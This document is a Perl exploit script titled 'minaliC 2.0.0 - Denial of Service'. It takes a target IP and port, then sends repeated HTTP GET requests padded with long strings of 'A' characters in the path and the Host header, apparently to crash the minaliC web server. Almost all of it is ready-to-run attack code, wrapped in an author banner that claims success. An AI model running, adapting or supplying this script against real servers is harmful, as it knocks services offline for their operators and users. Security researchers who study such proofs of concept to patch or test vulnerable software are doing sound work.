minaliC 2.0.0 - Denial of Service (DoS)

#!/usr/bin/perl


use Socket;

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");

    intro();
    main();

    print "[+] Exploiting... \n";

my $junk = "\x41" x 245;

my $host = "\x41" x 135;
my $i=0;
while ($i <= 3) {
my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";

my $sock;
socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";

my $addr = sockaddr_in($port, inet_aton($ip));
connect($sock, $addr);

send($sock, $buf, length($buf), 0);

$i++;

}

    print "[+] Done - Exploited success!!!!!\n\n";

   sub intro {
      print "***************************************************\n";
      print "*       minaliC 2.0.0 - Denied of Service         *\n";
      print "*                                                 *\n";
      print "*            Coded by Fernando Mengali            *\n";
      print "*                                                 *\n";
      print "*      e-mail: fernando.mengalli\@gmail.com       *\n";
      print "*                                                 *\n";
      print "***************************************************\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }